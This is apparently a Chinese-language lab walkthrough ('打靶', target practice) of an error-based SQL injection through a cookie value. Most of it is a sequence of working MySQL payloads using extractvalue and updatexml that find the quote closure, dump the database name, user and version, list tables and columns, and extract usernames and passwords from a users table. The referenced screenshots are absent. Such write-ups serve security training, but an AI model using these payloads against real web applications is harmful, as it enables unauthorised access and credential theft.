1、判断闭合方式
我们在cookie的后面加上一个',返回页面如下:
我们再将'改成'#,返回页面如下:
这说明闭合方式是'。
2、确定注入方式
我们在判断闭合方式时发现,该网站会返回报错信息,又没有回显,因此适合使用报错注入。
3、爆破数据库名,用户名,版本
输入语句
' and extractvalue(1,concat('~', concat(database(),user(),version()),'~'))#
,返回页面如下:
4、爆破数据表名
输入语句
' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1)#
,返回页面如下:
5、爆破列名
输入语句
' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),'~'),1)#
,返回页面如下:
6、爆破字段内容
输入语句
' and extractvalue(1,concat('~',(select group_concat(concat(username,'-',password)) from users),'~')) #
,返回页面如下:
我们发现还是显示的内容不全,我们将语句改为:
' and extractvalue(1,concat('~',mid((select group_concat(concat(username,'-',password)) from users),15,18),'~')) #
,返回页面如下:
到此打靶结束